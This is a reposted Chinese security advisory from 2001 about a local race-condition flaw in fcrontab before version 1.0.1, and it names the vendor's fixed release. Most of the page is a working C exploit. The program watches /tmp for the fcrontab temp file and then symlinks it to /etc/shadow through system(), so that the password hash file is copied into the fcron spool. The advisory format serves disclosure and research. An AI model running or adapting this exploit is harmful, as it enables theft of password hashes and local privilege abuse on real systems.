fcrontab 本地竞争条件漏洞

2008-04-09 04:35:35来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

fcrontab 本地竞争条件漏洞

发布日期:2001-03-01
更新日期:2001-03-01

受影响系统:

Fcrontab 1.0.1以前版本
不受影响系统:

Fcrontab 1.0.1
描述:

Fcrontab是一个类似crontab的任务调度软件。它可以在经常不定期重启的
系统上进行任务调度。

它存在一个本地竞争条件漏洞,可能导致本地用户读取敏感系统文件。

fcrontab在执行时会在/tmp/下创建一个文件名为fcrontab.在root使用
"fcrontab -u 用户名 -e"来更新用户crontab文件时,没有检查/tmp/fcrontab
是否为符号链接文件。如果攻击者预先创建一个符号链接指向任意系统文件,
则该文件就会被保存到/var/spool/fcron/<用户名>.orig中。

<* 来源:kiss from Helisec (NIKEBOY@RETEMAIL.ES) *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


kiss from Helisec (NIKEBOY@RETEMAIL.ES)提供了下列测试代码:

/* --------------------------
fcrontab exploit by _kiss_
--------------------------
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <time.h>
#include <dirent.h>

#define TRUE 1

void main() {

struct stat buf;
time_t modif1,modif2;
DIR *dir;
struct dirent *direntry;
int found=0;
char string[200];
char string2[200];

printf ("---------------------------------------------\n");
printf (" fcrontab exploit by _kiss_\n");
printf (" Helios Security and Administration (HeliSec)\n\n");
printf (" Greets: Jet-Li (for teaching me some lessons of shell\n");
printf (" that i will need someday) :D\n");
printf ("---------------------------------------------\n");

/* we wait till /tmp/fcrontab is created */
printf("\nwaiting for /tmp/fcrontab to be created...\n");

while(!found) {

dir=opendir("/tmp");

while ((direntry=readdir(dir))!=NULL) {
if (strncmp("fcrontab",direntry->d_name,8)==0)
found=1;
if (found==1) break;
}

closedir(dir);
}

strcpy(string,"/tmp/");
strcat(string,direntry->d_name);

while (TRUE) {
if (stat(string,&buf)!=-1)
break;
}

/* we store date of last modification */
printf("/tmp/fcrontab created. waiting for the update...\n");
modif1=buf.st_mtime;

/* we wait till /tmp/fcrontab is updated */
do {
stat(string,&buf);
modif2=buf.st_mtime;
} while (modif1==modif2);

/* we make the symlink */
printf("making a symlink to /etc/shadow...\n");
strcpy(string2,"ln -fs /etc/shadow ");
strcat(string2,string);
system(string2);

/* we should now have /etc/shadow in /var/spool/fcron/kiss.orig */
printf("... now check /var/spool/fcron/kiss.orig\n");
}




建议:

厂商补丁:

厂商已经提供了升级版本1.0.1,这个版本解决了这个问题。
厂商主页: http://fcron.free.fr/



标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Palm OS 调试模式下口令绕过漏洞

下一篇:Alex Linde Alex's Ftp Server 目录遍历漏洞